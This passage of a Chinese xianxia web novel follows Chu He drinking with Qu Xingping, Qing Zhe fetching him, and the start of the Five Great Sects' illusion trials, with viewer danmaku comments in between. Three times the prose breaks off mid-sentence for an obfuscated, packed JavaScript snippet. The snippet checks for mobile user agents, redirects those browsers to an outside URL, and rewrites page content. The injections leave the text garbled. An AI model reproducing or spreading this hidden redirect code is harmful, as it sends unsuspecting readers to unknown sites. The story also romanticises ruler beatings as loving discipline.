屈兴平兴头一上来了是怎么拦都拦不住的,“我们还能一起聊聊各大宗派的风流八卦,你是不知道这群成天高高在上的家伙们私下里有多么让人大跌眼镜,诶我跟你说……” 褚褐本以为他已经算得上是很开朗和自来熟类型的人了,近到这一路上,同别人交涉、问路、买卖之类需要开口说话的活儿都是他来做,难缠的人和事也都是他来打发解决,远到以前在村子里和水镇上,就没有他不能聊上的人,基本身旁过一个人他都能跟人家勾搭上,聊天聊地聊收成聊天气甚至女红他都能说上两句。 不过现在来看,跟这位屈兴平比起来,他都能称得上是腼腆。 褚褐听着耳边这位屈公子从某门派掌门表面高风亮节两袖清风私下却以权谋私大肆敛财讲到某门派长老色欲熏心胆大包天竟想强逼膝下美貌弟子就范于他,时不时夹杂两句褚褐从没听过更没说过的不堪入耳的粗俗脏话,心里震撼之余还不忘感慨还真是人不可貌相,让这位屈公子修仙真是屈才了,他应该去写话本儿,肯定能赚得盆满钵满。 “屈公子对这些修仙门派还真是了解啊。” “那当然。”屈兴平得意洋洋地摇着折扇,“我从小在不周山长大的——哦,不是门派,我说的是同名的山下镇子,就我们脚下这个——听到的、看到的事情可多着呢,我连这次招生试炼的具体内容都知道的大差不差。” 招生试炼的具体内容? 褚褐耳朵竖起来了。 “客人,您的武器已经结算好了。”阿肆噔噔噔跑上来,“就在楼下了,本阁还特地为您免费配备了侧开口的特殊剑匣。” “好。”屈兴平啪的合上折扇,“既然结算完了,那褚兄,随我一起喝酒去吧,我再跟你好好讲讲五大宗的事情。” “这……” 褚褐回忆起青遮说「别乱跑」时投过来的眼神,手指下意识颤了颤。 不能离开青遮的视线。 褚褐想。 但五大宗的信息又格外难得,连青遮都跟他说,他只是略微了解一些五大宗的皮毛,具体的试炼内容他是不清楚的。 权衡再三,褚褐还是决定跟着去一趟,他招招手,“阿肆,你过来。” “哎。客人还有什么别的事情吗?” “你还记得和我一起来的那位公子吗?” “记得,我当然记得,不过那位公子可能要稍微慢一点,毕竟他的武器需要改良精进。” “那拜托你在他下来时帮我给他带句话。” 褚褐附在阿肆耳边低语了几句,听得他表情逐渐迷糊。 “呃,您确定这么说吗?” “我确定。” “好吧。” 虽然有些摸不着头脑,但客人至上,阿肆再三保证他不会忘记,就差举手发誓了,总算是把一步三回头的客人送走了。 “褚兄,既然你那么担心你那位朋友,把他叫上一起去喝酒呗。” “他不会来的。”褚褐摇头,“他不爱人多的场合。” “哦,害羞啊。”屈兴平一副很有经验的样子,“多带出来玩玩就好了。” 不知道为什么,褚褐听不得“玩玩”这两个字和青遮结合到一起,下意识地皱起了眉。 “我说了什么让你不高兴的话了吗?” 褚褐没反应过来:“什么?” “褚兄是个很直率的人啊。”屈兴平手里的扇子一下一下叩着自己的下巴,“心里想什么都写在脸上了。” “有吗?”褚褐摸摸自己的脸。 “有哦,很明显。”屈兴平笑眯眯的,“你得小心被一些人针对,毕竟某些刻板古怪又自视清高的老头子就喜欢为难你这种少年心气的人。” 屈兴平把倒好的酒水递到他面前,轻轻一放,上好的瓷杯和桌面碰出一记脆又轻的声音。 “褚兄,要当心。不是所有修道之人都配称为修士。” 屈兴平,好像跟自己想象中的不太一样。 褚褐端起酒,一饮而尽,挡在眼睛前的酒杯和手遮挡住了屈兴平大半的身影,而酒杯与手之间的空隙,又将他分成一块又一块,使他断不会全然看不见对方。 管中窥豹。 他想。 他原以为这是个极爽朗开怀、大开大合的家伙,没想到粗中有细。在神兵阁他和阿肆耳语时对方就很自觉地背过身,甚至还走远了几步,刚刚又透过他极快速的表情变化推断出自己可能说错了话,这种察言观色的能力正是他现下的不足,用青遮的话来说,他本来就滥好心,太轻信别人,更要紧的是,还眼拙。 “你是真的看不来刚刚那个人的满脸贪欲吗?” 才帮人找回狗的褚褐茫然:“可他看起来比我有钱啊。” 青遮眉梢上扬了一瞬,褚褐立马反应过来这是独属于青遮的「你在开什么玩笑」的意思。 插句题外话,青遮的表情可比一般人难懂多了,为了弄清他到底在想些什么,褚褐自凤头山一行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060204|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后简直是把眼睛钉在了他的脸上。 “我错了。”不管三七二十一,他先道歉,然后努力回忆着刚刚那个人的神色。 “细微的神情变化,一般体现在这三个地方。”青遮碰了碰他的眉梢,眼尾和嘴角,“还有,贪欲,有时候不仅仅是对金钱。我说的明白点,他想睡你。” 从未接触过断袖一事的褚褐僵住了:“男人和……男人?这这这、这会不会太奇怪了?” “他要是愿意,和狗睡都没问题,你管那么多做什么?又不是和你睡。” 褚褐憋了又憋:“可是你刚刚也说了,他想睡我!”那自然就关他的事了! 青遮停住脚,飞了他一眼,褚褐明白,这是嫌他吵了,他只好老老实实地闭上嘴。 这么看来,我还有得学呢,总不能只盯着青遮一人研究。 褚褐给自己又倒了一杯,再次一饮而尽。 “哟,褚兄好酒量啊!”屈兴平终于逮着个能喝的了,兴奋不已,“小二,小二!加酒加酒!来,褚兄,我们今晚不醉不归!” 褚褐和他碰了一下:“你确定要和我喝酒?我还是挺能喝的。” “哟嗬,瞧不起我?”屈兴平没当一回事,他自豪拍拍胸脯,“我可告诉你褚兄,不是我吹,我的酒量可是千杯不醉,不信咱们可以来比一比!” 褚褐无意和他争夺到底谁才是真正的「千杯不醉」,他丢下青遮和屈兴平跑到酒楼来可不是为了这些,于是提醒:“不是要聊聊五大宗的事情吗?” “五大宗啊。”屈兴平抛了个花生到嘴里,“褚兄想先听哪一个啊?” “八岐宫。” “八岐宫?”屈兴平感到意外,“我以为你会先想听不周山来着。”毕竟不周山是五大宗的首位,多少人奔着它的名头而来。 “八岐宫没什么好讲的。”屈兴平耸耸肩,“他们最拿得出手的就是炼丹和药理,名声毁誉参半吧,早些年闹出那等子事,为修士们所不齿,但他们的确贡献很大,尤其是从不吝啬于把他们的医术和药方传播给凡人。你要是对岐黄之术感兴趣可以考虑考虑他们。” 他嫌酒杯太小,喝着不过瘾,干脆换了个碗。 “我就按顺序和你说吧。” “五大宗第四是空星楼,他们擅长卜卦看相,占星预测,推崇天命之说。第三是喜忧谷,他们的宗门坐落在凡人的村落里,也是所有宗门里和凡人走得最亲近的。第二是鳞湾,鳞湾女修士居多,门派靠水,五大宗里最护短的。” 屈兴平停了停,又补充:“虽然鳞湾女孩子多,不过你可不要抱着什么近水楼台先得月的想法进鳞湾,鳞湾女子最反感此类男子。” “最后就是不周山了,和我们脚下这座镇子同名,五大宗名副其实的首席,十年一度的同期大会,不周山已经蝉联七次第一了。”屈兴平感慨,“真不愧是不周山啊。实不相瞒,我这次也是为它而来。诶,褚兄打算选哪个?” “我——” 褚褐转着酒杯。 “八岐宫吧。” 毕竟那里有着他无数的秘密,肆意屠村的敌人,不知来路的父母,还有—— 他一个没拿住,酒杯摔到了桌上,酒洒了一地。 还有乔巧对他说过的那句莫名其妙的话: 「你居然活下来了,凭什么?你不是早就应该——」 虽未说出口,但他莫名听出了她的未尽之言。 「你不是早就应该死了吗?」 15. 不可交(小修) 青遮从三楼下来的时候,天已经黑透了。 “客人!”阿肆远远看到了他,连忙小跑过来,“您是在找您的同伴吗?” “对。”青遮环视了一圈,“他人呢?” “那位公子先走一步,和朋友喝酒去了。” “朋友?喝酒?”青遮一顿,目光挪到他身上,“你确定?” 阿肆不知道为什么在客人的注视里抖了一下。 “对,我确定,不过他让我给您带句话。” 阿肆回忆着内容:“「我这边需要先离开一会儿,不是故意乱跑,最晚不超过戌时,你先回客栈睡吧,我回来后会乖乖去你门口领罚的」,就这样。” 领罚? 这么自觉? 青遮还来得及说些什么,面前突然爆炸式地弹出铺天盖地的文字: 「啊啊啊啊不许你碰他!」 「诶?又换视角了?」 「啊啊啊青青青青江湖救急,狗要没了要没了!狗要被拐跑了!」 「再这么喝下去不会胃穿孔吧?话说修士会胃穿孔吗?」 「我天没看出来,主角这么能喝?对面都趴下了,他连脸都不带红的」 「岂可修这个屈兴平!我刚还夸他来人好来着!结果一转眼就抱上了!抱什么抱!有什么好抱的!狗爪子给老娘撒开!」 「诸位,别激动,别激动,屈兴平就是喝醉了耍酒疯呢」 「哈!我从官方微博那边回来啦!告诉你们一个坏消息,屈兴平可能真和主角有一腿哦!」 「???」 「什么玩意儿?前面的,你最好告诉我你没在玩抽象」 「等等等等,前面的你别误人子弟啊,更正一下,不是一腿,是半腿,没有一腿,屈兴平喜欢长得好看的少年少女,褚褐现在是个少年郎模样,所以很合他心意,但后来褚褐长开了,脸部轮廓变得分明,他就不喜欢了」 「哦,这孩子原来是个颜控」 「少年控吧」 「这哪里是一腿,这连半腿都没有,这就没有腿!不要吓我啊!」 难怪进了三楼之后他就没看见弹幕在自己面前晃悠,原来是换视角了。 上次也发生过,在凤头山,和乔巧对峙的时候,本来飘得正欢的弹幕突然从眼前消失,一直到他画好符阵赶过去接住褚褐时,弹幕才再一次出现在面前,「转换视角」一词也是在那个时候知道的,青遮这才发现这个莫名其妙出现在他身边的玩意儿有着很大的局限性,当视角进行转换后,他就看不到弹幕了,直到所谓的视角再转回来。 青遮一目十行快速过掉空中的文字,然后他就被一个从未见过的人名吸引了注意。 屈兴平。 有一腿。 还喜欢。 嗬。 “你知道他们去哪儿喝酒了吗?” “这个他们倒没说,不过。”阿肆尝试着猜测,“不周山最有名的酒楼是杜康陂,应该是去那里了。” “好,多谢。” _ “褚兄啊,你是不知道我过得有多惨呐。”屈兴平趴在桌子上,扯着褚褐的袖子呜呜咽咽地哭,“我那老爹,就喜欢拿白修永和我比——哦,白修永是我分族的哥哥——真不知道谁才是他亲儿子……” “屈公子。”褚褐暗暗使力把袖子拽出来,“你好像喝醉了,要不今天我们就到这里吧。” “醉?”屈兴平指指自己,大手一挥,“我才没醉!我怎么可能会醉,我可是酒神,酒神可是千杯不醉的!来来来,继续喝,现在时间还早得很呢,你着什么急啊怎么客栈里有人等啊……” 褚褐没有反驳。 “真的假的?”屈兴平就算喝昏了头,察言观色的能力也是绝顶,更何况是这种心情都写在脸上的毛头小子。他撑着下巴,端着个酒杯细细地抿,稀奇道:“褚兄,没看出来啊,看来老祖宗的话是有一定道理的,人不可貌相,我以为你是个木头来着,居然真的俘获了别人的芳心?来来来,讲讲看你们的相恋经过啊,你的道侣是个怎样的人啊?” “不是道侣。”褚褐不得不叫停了他,“在客栈等的那位是我朋友。” “嘁,没意思,我还以为我能听到什么荡气回肠的爱情故事呢。”屈兴平觉得没劲,往后一仰,“那你着什么急回去啊?” “我承诺了最晚不超过戌时,而且,我还要回去罚跪,晚了我怕他生气。” “罚什么玩意?”屈兴平又把身子晃回来,一脸不可置信,“罚跪?这是什么老夫子行径?他不是你朋友吗?” “这很稀奇吗?”褚褐坦然自若,“做错了事就是要罚跪。” “这、很、稀、奇、吗?”屈兴平挑高眉,重复了一遍他的话,“拜托,褚兄,这当然稀奇了,罚跪?我六岁时我老爹都不用这一招了,而且你都多大了,你那位朋友不会是以为你好的名义在虐待你吧?” 虐待? 褚褐仔细想了一下。 他自小挨打是挨惯了的,所以不太清楚虐待应该从哪里开始算、从何种程度开始算,他被打得最严重的一次是在床榻上躺了整整七天,期间他还发了高烧,烧得脑子嗡嗡响,眼睛都发干。他忘记那次犯了什么错了,当然也可能没犯错,总之村长不肯给他送药,因为青梅村的药很贵,饭和水更是吝啬,要不是靠着自己还算不错的身体体质,他恐怕连第三天都撑不过去。 青梅村人对褚褐的评价确实中肯,他的确是个心大的夯货,即使是都在鬼门关走了一遭了,他依旧觉得村长待他还算不错,好歹没把他扔出去。 自凤头山一行后褚褐学到的最重要的东西就是人非绝对善恶,所以对村长更是多了几分理解。他很乐意学新东西,也很乐意把新学到的东西运用到所有事情上面。 就像现在,他学到一个新词,虐待,虽然他心里并不怎么把青梅村对待他的方式当一回事,但按照屈兴平给他的解释,这似乎,在某些时候算得上虐待吧?也许? 但青遮不是。青遮不一样。 他几乎是瞬间下了一个否定。 青遮的打是带着一股劲儿的。不过九分宽的戒尺,抽在他的肩膀、背部、腿上,速度快,力度准,声音或清脆或闷重——这个全看落尺的位置——比起对褚褐来说更像是浮在表层、不值一提的疼痛,那股从皮肉里流出来的麻意才是最让人受不了的,像虫子,先从骨头缝里钻出来,密密啃过一绺绺的脉络血肉,然后诡谲地挤进他心脏里,转着圈儿地撒泼打滚。于是他的心脏就成了一个有任何风吹草动就会蜷起来的害羞虫,这时候,似乎任何一件事情的发生都会让他绷紧的心脏受到惊吓,然后绞缩成一摊新鲜的肉泥。 譬如,落下的下一尺子或鞭子。 又譬如,青遮虽语调如常但明显带上了微弱喘息的询问。 知错了吗? 知错了。 他听见嘴巴和心脏一同开口。 知错就好。 青遮细长的、白皙的、似乎带着香气的手拍上他的脸,一下,两下。褚褐发现他真的很钟情于这个动作。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060205|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知错了才会改,改了才能乖。 他这样说着,状似亲昵地拿指腹蹭了蹭他的侧脸,但眼底却是凉薄的——褚褐能看出来,他现在已经可以看出来了——于是那股子麻劲儿悄无声息离开了心脏,转头爬上了他的脸,然后随着青遮手指的抽离而慢慢消散掉,像一阵被风吹尽的迷烟。 没错。青遮是不一样的。所以—— “不是虐待。” 又给自己灌了两杯酒的屈兴平迷迷瞪瞪趴在桌子上:“嗯?什么?” “我说,不是虐待。” 不知道是不是背着灯光坐的原因,原本在屈兴平眼里鲜活明朗的少年突然变得有些迷蒙晦涩。 “他对我很好,我也很乐意他这么对我。” 不知前因更不知内情只是随口说了句话的屈兴平一脸茫然。 这叫什么?一个愿打一个愿挨? 当然,屈兴平虽然是这么想的,但大概没料到这里的打是真打,挨也是真挨。 “两位客官,有一位自称是你们的朋友的公子想见你们。” 屈兴平喝得有些醉,没看清小厮身后的人具体长什么样子,“朋友?什么朋友?” 褚褐嚯地站起来,差点把桌上的酒壶一起带倒:“青遮?你怎么到这儿来了?” 青遮没回答他,只是目光往桌子上一扫。 “喝得还挺多。” 他意味不明地讲。 “醉了?” “没有。”褚褐连忙摇头,还把身子探了过去,“你看,我脸都没红。” 脸是没红,但耳朵红了,当然不排除是吓的。 “青梅村是会酿青梅酒的,所以我从小就开始喝,酒量还算凑合。” “嗯。”青遮漫不经心,眼神往旁边一转,“他是怎么回事?” “朋友,叫屈兴平,在神兵阁认识的。” “今天认识的?” “对。” “然后就变成朋友了?” 是嘲讽的语气。 褚褐把快要冲出喉咙的一句“嗯”憋了回去。 听见自己名字的屈兴平扭过来,嘴里嘟囔着今天认识的怎么就不能成为朋友了,然后一抬头,呆了。 “哇。”屈兴平喃喃,“你好漂亮啊。” 「哼哼,算你小子有眼光」 「来来来,向大家隆重推荐和介绍我们的佛流星第一漂亮宝,青青!撒花撒花撒花」 “可惜太漂亮了,不是我的菜。”屈兴平歪歪倒倒地站起来,热情洋溢地上前要握手,“不过我喜欢和漂亮的人做朋友,来认识一下啊。” 「我去?这孩子,倒戈倒得太快了吧?不是说对主角感兴趣吗?」 「对啊,官方那边真的不是放假消息吗?从他俩见面到现在,我只看到了喝酒,流眼泪,诉苦,半点所谓的喜欢都没看到」 「靠,这小子!不仅抱了主角,还想握青遮的手!岂可修!我也要!」 握什么手。 青遮皱眉,下意识地想往后退,褚褐先一步跨过来,一巴掌打掉了屈兴平的手。 “抱歉。”他冲着新认识的朋友笑,“但是握手不行。”青遮讨厌别人无缘无故碰他。 “小二,这位屈公子喝醉了,麻烦找人把他送回去吧,给,这是钱。” 三两句工夫,褚褐就把醉醺醺的屈兴平送了出去,隔间顿时安静了下来。 “青遮。” 褚褐撩起衣摆,语调是上扬的。 “要跪吗?” 16. 后生会(大修) 「震惊!你们现在都玩儿这么花了吗?」 「额,我只不过是落了几集没看,你们进度已经这么快了吗?」 「跪?跪什么?跪哪里?跪谁?」 「哇哦,这种东西是我们能看的吗?」 「哇哦,这种东西是平台能放出来的吗?」 「看不出来啊你小子,居然还好这一口」 「哪一口啊?前面这位朋友细说嘿嘿」 「我已经搬板凳准备好了,快开始啊」 青遮头一次被褚褐的话给噎到了。 “你打算在这儿跪?” “有帘子,不会有人看见的。” 这是重点吗? “不用跪。”青遮往椅子上一坐,朝他招手,“过来。” 褚褐仔仔细细瞧了青遮一眼,确定他不是在说反话,才把衣摆放下走了过去。 “弯腰,低头。” 褚褐听话地俯下身子。 “你提前托人给我带了话,告诉了我去向,所以不需要罚。” 说实话,青遮也不是揣着要罚他的心找过来的,用跟弹幕新学到的词来讲,难得褚褐现在学会了给他报备,没必要罚。 养狗是要打,但打蔫了就麻烦了。 青遮摸了摸褚褐的发冠,他今天带了个新的,银色镂空的火焰莲花,镶了很多相配得当的浅蓝宝石,将头发束得很高,发丝随着褚褐弯腰低头的动作垂下来,亲昵地蹭着青遮的手,像风的吻。 “这次做得不错。” 他尝试像一个标准的长辈夸奖晚辈一样,摸对方的头,说一句不太过、留有余地的赞许。 不过显然,人对于从没见过的事物是隔着一层深厚的屏障的。 「这手法,真的不是在摸狗吗?」 「是不是摸狗不知道,反正肯定不是正常摸法」 「救命,青遮手指缠着褚褐头发顺下来的时候,怎么有点涩涩的」 「谁说不是,我口水都要下来了,嘶溜」 这么摸不对? 青遮有点怀疑地看了眼自己的手,他明明是照着书里的描述做的。 不过。 他看了眼耳朵已经红透了的褚褐。 不管摸的对不对,反正效果应该是达到了。 “来说说看,你跟刚认识的人出来喝酒,喝出什么了?” 褚褐努力让自己从面红耳赤的状态里脱离出来。 “今年的五大宗招生试炼,将会和以往全然不同。”褚褐直奔重点,“屈兴平自小在不周山长大,且有一个分族的兄长在鳞湾门下,所以他敏锐地察觉到了某些不一样的地方,我就套了套话。” “套话?”青遮看着脸还嫩生得很的褚褐,难以想象到底是他套别人的话还是被别人套他的话,“套到了?” “算是。”褚褐原本想撤掉桌子上的酒壶酒杯,不过青遮觉得并不妨事,所以他就没动了,“我感觉,其实他是知道我在套他的话的,不过他没当一回事,因为就算我知道了招生试炼的内容,也不会对最后的结果造成多大影响。” “哦?这是为什么?” “屈兴平说,这次的试炼内容绝对是超乎想象的诡异,因为他得知相关信息已经三个月了,都不知道从何准备。” “他把相关信息告诉你了?” “说了,就两个字,问心。”褚褐要了一壶茶给青遮倒上,“我也有些疑惑,但他说得信誓旦旦的,好像也不是编瞎话。” “是不是瞎话过几天我们就知道了。”青遮接过他递过来的杯子,算是略过了他跟人出来喝酒的这一茬,“我听神兵阁的人说,你买了一把宽剑?” “是,起名叫落九天。” 青遮往嘴里送茶的动作一顿。 用意昭然若揭,几乎是把那股子想亲近他的劲儿摆在明面上了。 “名字好吗?”褚褐直勾勾地看着他,追着问。 “很好。” 褚褐还没来得及高兴,就听见青遮接着讲:“那接下来的几天,你就拿着落九天好好练吧,起码要练到能一次性挡下我十张符的程度才能休息。” 十张符! 褚褐差点把杯里的茶泼出来。 “……可不可以讲一讲价?” 青遮微笑:“不能。” 完蛋。 褚褐唉声叹气地捂住脸。 他接下来几天别想休息了。 “青遮。”他趴在桌子上,脸对着青遮看他,“要是我没能通过五大宗的招生试炼,该怎么办?” “你不会不通过。” “怎么这么笃定啊。” “你不是要报仇吗?仇恨一向是驱使人行动的最佳利器。” 褚褐手指勾着茶杯,闷着声音:“那你呢,我要是通过了,你就要走了吗?” “走?”青遮不知道这小子又胡思乱想到哪里去了,“走去哪?不是说了一直陪着你吗?” 我要走了还怎么夺舍? 褚褐反应很大,当即直起身,手一拍桌子整个人就靠了过来。 “真的?”他睁圆一双眼睛,里头亮晶晶的,“你说真的?你不会走?” 青遮被他逼得往后退了退。 “嗯,不走。” “太好了!”褚褐抓住青遮的衣袖,笑得特别开心,“那,说好了一直陪着我啊,你不许骗我。” 夺舍了,也算是一直陪着他了吧。 “嗯。没骗你。” _ 九月十五,诸事皆宜,百无禁忌。 不周山下,遮蔽得严严实实的护法大阵并没有像之前的招生试炼那样全面撤去,反而还多加了一层。 这是怎么回事? 各路报考弟子堵在护法大阵前,面面相觑,一脸茫然。 褚褐听着周围人「怎么回事?我记得以前护法大阵都是会打开的啊」、「难道说今年的试炼从现在就开始了?」之类的讨论,偏过头来看向青遮。 “我们好像被拦在外面了。” 青遮伸手,触摸了下最外层的结界,在指腹刚贴上去时,有淡金色的纹样闪现出来,眨眼的功夫又消失不见,如果不仔细观察大概会被很多人忽略掉。 “不是被拦了。”青遮把手收回来,“走吧,直接进。” “直接进?会被结界弹飞吧?” 越大的宗门布下的结界反噬越强,这也就是为什么那么多人堵在外面迟迟不敢动作的原因。 “过来。” 青遮又碰了下结界。 “看到了什么?” “金色的花纹?”褚褐不确定,于是自己伸手触碰了一下,仔细辨认着,“好像是……符咒?” 他在头脑里搜索着这些天背过的符咒样式,很快认了出来:“是驱庶。” “对,这种符咒一般就是宗门布在山门外防止凡人误闯,所以知道的人少,放大版本的驱庶因为笔画太多更是难认。” 青遮抬高视线,望向最上方的结界。 “我听说在以前的招生试炼上,是会有凡人混进来企图浑水摸鱼一步登天的,看来这次是想到办法弥补这个漏洞了。” 驱庶既可以将身上没有一点灵力的普通人筛选出去,又能让报考弟子进来,可以说是一举两得了。 “走吧,还愣着做什么?” 褚褐已经从乔巧那里知道了青遮凡人的身份,此刻有些心慌,青遮能进得去吗? 事实证明褚褐想多了,青遮的步子走得毫不犹豫,也没有出现被结界弹回来的情况,虽然不知道用了什么方法,但他总算安心了下来。 过了结界,不周山真正的全貌才展现在两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060206|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人面前,已经有不少人聚集在了这里,看来能认出驱庶符的能人异士不在少数。 “呀,这不是褚兄嘛。”屈兴平挥着扇子走过来,“好久不见呐。上次在杜康陂,我给你添麻烦了,见谅见谅。” “还有这位公子。”屈兴平朝着青遮恭恭敬敬鞠了一礼,“那日我喝醉了,所以动作上可能太过轻率冒犯了你,实在抱歉。” “无妨。” 反正手又没有真的碰上。 屈兴平见青遮没生气,放心了,扇子一甩一开,“那重新认识一下吧,虽然我觉得褚兄应该向你提过我了,不过交朋友这种事还是亲自介绍才能显得庄重。你好,在下屈兴平。” “青遮。” “好名字。”屈兴平称赞,“青遮公子也是来参加招生试炼的?不知道有没有心仪的宗门?” “八岐宫。” 其实五大宗他一个都不喜欢,只是褚褐透露过想要去八岐宫的意愿,他为了夺舍当然要跟着一起过去。 “稀奇啊。”屈兴平看看青遮,又看看褚褐,“我还是头一次看见有人不修岐黄之术却奔着八岐宫而去的。” 他开玩笑,“难道八岐宫对你们有什么大恩情值得你们以身入险境吗?” 恩是没有,仇倒是一堆。 褚褐抿唇。 其实青遮和他交流过关于五大宗的选择问题,他想报仇,青遮却更偏向于让他选择除八岐宫以外的宗门。 “八岐宫不适合你。”当时的青遮直截了当地说,“如果你无法找到合适的师父修炼功法,你如何提高修为报仇?你总不能指望在八岐宫里找到一心一意为你好的师父。” 褚褐承认青遮说的很有道理,但八岐宫内的确存了他太多的秘密和疑问,他需得好好想一想。 咚! 一记钟声响起,余波荡漾,接连响了三下,布满驱庶符的结界撤去,所有未进入不周山境内的修士全部被挡在了外面。 “看来时间到了。”屈兴平晃着扇子,“未在规定时间内识破驱庶符走进结界的人都被淘汰了,没想到今年新设的先行关能卡掉这么多人,那群人可真会玩。” “诸位道友,欢迎来到五大宗的招生试炼。” 钟声落,一道声音紧接着响起,出乎所有人的意料,这是一道非常年轻的声音,甚至听着还有点懒散。 “想必你们已经发现了,今年的不周山并没有撤去所有护法大阵,而是收缩了范围,也就是说你们依旧被挡在护法大阵的外面,刚刚通过的结界只是一层过筛凡人的普通阵法。” “今年招生试炼的内容将会有翻天覆地的变化,希望各位做好心理准备。按照之前各宗门抓阄的顺序,你们将按照喜忧谷、鳞湾、空星楼、八岐宫、不周山的顺序分别进入不同宗派设置的幻境,能从幻境里出来便代表着你们过了这门宗派的试炼,只有得到我们五大宗所有的认可,才算是试炼成功,方能真正进入不周山的护法大阵见到我们。” “各位道友的左手手背在通过结界时已经打上了一记灵力印记,只有注入灵力才能看见印记显形。此印记连接了水镜,我们将通过水镜来观察你们在幻境里的表现。另外,本次五大宗都各自拥有一个特殊名额,至于特殊名额是做什么用的,到最后你们就知道了。” “每场幻境都会有一句谶语,那将是你们破除幻境的关键所在,你们可以选择组队,也可以选择独身,注意组队人数不能超过五人,幻境难度不会因为人数多而降低,所以请自行斟酌。” “好,注意事项讲得差不多了,如若已经准备完毕,就可以闭上眼睛,你们左手上的印记将会带你们到达第一重幻境,决定组队的人只需要将带有印记的手叠在一起便会自动识别。” “那么,现在,作为第一重幻境创造者的我,预祝各位,旗开得胜。” 17. 人非人(大修) 青遮醒来时,是在一片麦田里,而且还是躺着。 麦田算是喜忧谷非常具有代表性的标志之一了,青遮曾经在金门宗看过一些八岐宫对喜忧谷的记录,大概是某位宫里人的日志,记得很碎很散,并且他怀疑里面还掺杂了记录之人强烈的私人情绪,毕竟每翻过一页必定有长篇大论的骂人之词,好像是因为此人去喜忧谷交流的时候被摁着头在麦田里干了一个月的农活,还不准用术法。 所以,当青遮睁开眼,发现自己正处于一片麦田的时候,倒也没有多少惊讶的情绪。 总归不能考我割麦子吧? 他用手碰了碰麦子,捏了捏麦穗,一捻,居然真的有麦粒出来。 幻境居然可以逼真到这种程度?应该说不愧是五大宗之一的喜忧谷吗? 他站起来,拍干净身上沾到的草屑泥土,环视了四周一圈,并没有发现褚褐的身影。 奇怪,明明刚刚手还握在一起,怎么幻境一开,组队的人反而没了。 “喂!那边的!” 一个条状物从麦田尽头蹦了起来。 “那边的!你是当地人吗?我可以问路吗?” 什么东西跳起来了? 青遮眯起眼睛,还没等他看个仔细,那东西就跑了过来,拨开重重叠叠的麦丛扑到了他脸前。 “你好!” 顶着一头草屑和稃壳的青年笑嘻嘻地和他打招呼,像条毛茸茸的金毛。 青遮被他吓了一跳,步子都不自觉往后挪了挪。 “啊,不好意思,吓到你了。”他连忙擦干净脸上沾到的草屑稃壳,“不过你别害怕,我不是坏人,我是来寻天阁的,你知道天阁怎么走吗?” “天阁?”青遮隐晦地将人从头到脚快速扫了一遍,由于尚且还不知道喜忧谷在搞什么名堂,所以只能谨慎地斟酌着回答:“抱歉,我也不知道。” “啊,完了完了。” 青年嘴角耷拉下来,揪着自己毛躁的头发急得原地打转。不知道是不是顶着身草屑稃壳又个子高出自己一头的缘故,青遮总感觉看到了一只大狗在转圈咬尾巴。 “要是没在最后这三天赶到天阁,天阁就会关闭,那我就不能实现我的愿望了。” 三天。 青遮敏锐捕捉到了关键词。 这估计也是幻境的期限,而眼前这个人,应当是幻境人物,而非同来参加招生试炼的修士。 莫非喜忧谷的幻境就是帮助此人到达天阁?应该不会这么简单吧? 还有,不是说有谶语吗?怎么到现在他都没有听到过或者看到过? “我也要去天阁,不如同行吧?两个人结伴总会比一个人独行好一些。”思来想去,青遮还是决定先抓住眼前这个人作为线索,“你觉得怎么样?” “太好了!有个人陪我一起就不会那么无聊了!” “你好,我叫青遮。” “叫我宗玉就好了。” 于是他们前后邻着,在金黄的麦浪里穿行,太阳的光斜照在他们身后,麦田一望无际。 “青遮去天阁,也是为了实现愿望吗?” “算是。”青遮回复得模棱两可,并暗暗把问题抛了回去,“那宗玉公子去天阁,是想实现怎样的愿望?” “我啊,我想要一个大笼子。”宗玉侧过身,朝他比划,“很大很大,大概就是——” 一只手伸到了他面前,指节修长,骨骼分明,上下丈量着他的身高。 “大概,能装下你的那种吧。” 动作分寸,语气平常,均无半分狎昵之意,可青遮却感到了极具违和感的不适,虽然那不适转瞬即逝。 “青遮呢?”宗玉朝他笑,人畜无害般,“青遮想要什么?” “找狗。我的狗丢了。”青遮随口敷衍。 “青遮原来养狗啊,是爱狗之人呢。” 青遮干脆继续胡诌了下去,“爱谈不上,只是习惯了有狗陪伴左右,丢了,心里不安。” “如若不是爱狗,恐怕丢了心里是不会挂念半分的,青遮是个很称职的主人嘛,想必你的狗也一定很喜欢你吧。” 喜欢?不知道,依赖倒是真的。 青遮目光投向了天边西垂的那轮大得吓人的太阳,心想。 也不知道要寻的那条狗现在怎么样了。 _ 这到底是哪儿? 